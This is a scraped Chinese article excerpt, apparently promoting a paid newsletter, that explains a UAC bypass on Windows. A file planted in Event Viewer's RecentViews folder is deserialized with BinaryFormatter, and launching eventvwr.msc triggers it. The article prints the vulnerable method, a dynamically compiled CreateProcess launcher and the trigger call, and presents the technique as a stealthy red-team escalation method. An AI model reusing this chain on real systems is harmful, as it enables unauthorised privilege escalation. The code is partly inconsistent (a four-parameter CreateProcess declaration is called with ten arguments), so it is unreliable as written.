wxvl/doc/2024-10/.NET内网实战:通过白名单文件反序列化漏洞绕过UAC.md

8.3 KiB
Raw Blame History

.NET内网实战通过白名单文件反序列化漏洞绕过UAC

原创 专攻.NET安全的 dotNet安全矩阵 2024-10-25 08:31

01

阅读须知

此文所节选自小报童《.NET 内网实战攻防》专栏主要
内容有.NET在各个内网渗透阶段与Windows系统交互的方式和技巧对内网和后渗透感兴趣的朋友们可以订阅该电子报刊解锁更多的报刊内容。

02

基本介绍

本文内容部分节选自小
报童《.NET 通过白名单文件反序列化漏洞绕过UAC》
完整的
文章内容请加入小报童后订阅查看。
现在限时
只需59元永久买断

目前已有220+位朋友抢先预定,我们会长期更新,对.NET内网安全的朋友们请尽快订阅该报刊

03

原理分析

在渗透测试和红队活动中,权限提升是重要的一环,尤其是在没有管理员权限的情况下执行更高权限的操作。有一种思路利用 Windows 事件查看器 eventvwr.msc 的高权限加载特性和 XAML 反序列化机制,以绕过 UAC 限制。

3.1 Windows事件查看器

在 Windows 系统中事件查看器Event Viewer是一个非常有用的管理工具可以帮助系统管理员和安全分析人员查看系统日志、应用程序日志、安全日志等。
通常情况位于当前系统用户下的AppData\Local\Microsoft\Event Viewer目录。

在事件查看器启动过程中Windows 会自动加载 EventViewer.dll这是事件查看器的核心 .NET 组件之一,提供事件记录的读取、解析和显示功能,如下图所示。

由于 EventViewer.dll内部调用了LoadMostRecentViewsDataFromFile方法此方法调用BinaryFormatter().Deserialize方法反序列化读取最近的事件记录内容核心漏洞代码如下所示。

private void LoadMostRecentViewsDataFromFile(){   try	{	if (!string.IsNullOrEmpty(EventsNode.recentViewsFile) && File.Exists(EventsNode.recentViewsFile))		{		FileStream fileStream = new FileStream(EventsNode.recentViewsFile, FileMode.Open);		object syncRoot = EventsNode.recentViewsDataArrayList.SyncRoot;		lock (syncRoot)		{		EventsNode.recentViewsDataArrayList = (ArrayList)new BinaryFormatter().Deserialize(fileStream);		}		fileStream.Close();	}}catch (FileNotFoundException){}}

3.2 动态编译启动新进程

首先代码中定义了一个名为 CreateSerializedData 的静态方法,方法内部的 text 字符串包含一段完整的.NET代码用于创建一个控制台程序内部使用了 DllImport 引入 Windows API 函数 CreateProcess用于在桌面上创建一个新进程。

string text = "\r\nusing System;\r\nusing System.Runtime.InteropServices;\r\n\r\n\r\nclass HelloWorld\r\n{\r\n    [DllImport(\"kernel32.dll\")]\r\n    private static extern bool CreateProcess(\r\n     int dwCreationFlags,\r\n     IntPtr lpEnvironment,\r\n ref STARTUPINFO lpStartupInfo,\r\n     ref PROCESS_INFORMATION lpProcessInformation);\r\n\r\n    [StructLayout(LayoutKind.Sequential)]\r\n    struct STARTUPINFO\r\n    {\r\n        public Int32 cb;\r\n        public string lpReserved;\r\n        public string lpDesktop;\r\n        public string lpTitle;\r\n        public Int32 dwX;\r\n        public Int32 dwY;\r\n        public Int32 dwXSize;\r\n        public Int32 dwYSize;\r\n        public Int32 dwXCountChars;\r\n        public Int32 dwYCountChars;\r\n        public Int32 dwFillAttribute;\r\n        public Int32 dwFlags;\r\n        public Int16 wShowWindow;\r\n        public Int16 cbReserved2;\r\n        public IntPtr lpReserved2;\r\n        public IntPtr hStdInput;\r\n        public IntPtr hStdOutput;\r\n        public IntPtr hStdError;\r\n    }\r\n\r\n  internal struct PROCESS_INFORMATION\r\n    {\r\n        public IntPtr hProcess;\r\n        public IntPtr hThread;\r\n        public int dwProcessId;\r\n        public int dwThreadId;\r\n    }\r\n    \r\n\r\n    static void Main(string[] args)\r\n    {\r\n        string DesktopName=args[0];\r\n        string argumentsAsString = string.Join(\" \", args, 1, args.Length - 1);\r\n        STARTUPINFO si = new STARTUPINFO();\r\n        si.cb = Marshal.SizeOf(si);\r\n        si.lpDesktop = DesktopName;\r\n        PROCESS_INFORMATION pi = new PROCESS_INFORMATION();\r\n        bool success = CreateProcess(\r\n            null,\r\n            argumentsAsString,\r\n            IntPtr.Zero,\r\n            IntPtr.Zero,\r\n            false,\r\n            48,\r\n            IntPtr.Zero,\r\n            null,\r\n            ref si,\r\n            ref pi);\r\n    }\r\n}\r\n";Console.ForegroundColor = ConsoleColor.Yellow;Console.WriteLine("Compling StartInSelectedDesktop...");compilerParameters.GenerateExecutable = true;compilerParameters.OutputAssembly = Path.Combine(Path.GetTempPath(), "StartInSelectedDesktop.exe");

3.3 白加黑启动绕过UAC

利用 eventvwr.msc 进程来触发恶意载荷的反序列化,从而绕过用户账户控制 (UAC) 限制启动新的 cmd 进程。因为此时恶意负载已经写入到 C:\Users\Ivan1ee\AppData\Local\Microsoft\Event Viewer\RecentViews自动化打开事件查看器即可触发漏洞。具体代码如下所示

if (!Program.CreateProcess(null, "cmd /c start \"\" \"%windir%\\system32\\eventvwr.msc\"", IntPtr.Zero, IntPtr.Zero, false, 48, IntPtr.Zero, null, ref structure, ref process_INFORMATION))

综上,

利用了Windows事件查看器的反序列化漏洞具备强大的UAC绕过能力。在红队渗透测试中其高度隐蔽性和无文件特性而受到广泛应用。

想要了解完整或者更多的
内网安全防御绕过方向的文章,可以移步订阅
小报童《.NET 内网实战攻防
》电子报刊。

04

欢迎加入.NET 电子报刊

我们的小报童电子报刊【.NET内网安全攻防】也开始运营引入小报童也是为了弥补知识星球对于轻量级阅读支持的不足为用户读者提供更佳的阅读体验。
如果您对阅读体验的需求比较高,那么可以订阅这个专栏


次电子报刊《.NET 内网安全攻防》专栏,内容主要有.NET在各个内网渗透阶段与Windows系
统交互的方式和技巧可细分为以下8个方向。

1 .NET 安全防御绕过
2 .NET 本地权限提升
3 .NET 内网信息收集
4 .NET 内网代理通道
5 .NET 内网横向移动
6 .NET 目标权限维持
7 .NET 数据传输外发
8 .NET 目标痕迹清理

原价899现在限时
只需59元永久买断

目前已有200+位朋友抢先预定我们会长期更新初步计划保持每周更新1-2篇新内容对.NET内网安全的朋友们请尽快订阅该报刊

每增加五十人涨价10元抓紧订阅超值
订阅后请关注公众号:
dotNet安全矩阵发送订单截图和您的微信号邀请您加入专属交流群。感兴趣的朋友可以点击链接https://xiaobot.net/p/dotNetAttack或者
扫描下方海报微信二维码加入即可

订阅后小报童定时会将最新内容通过微信推送给您。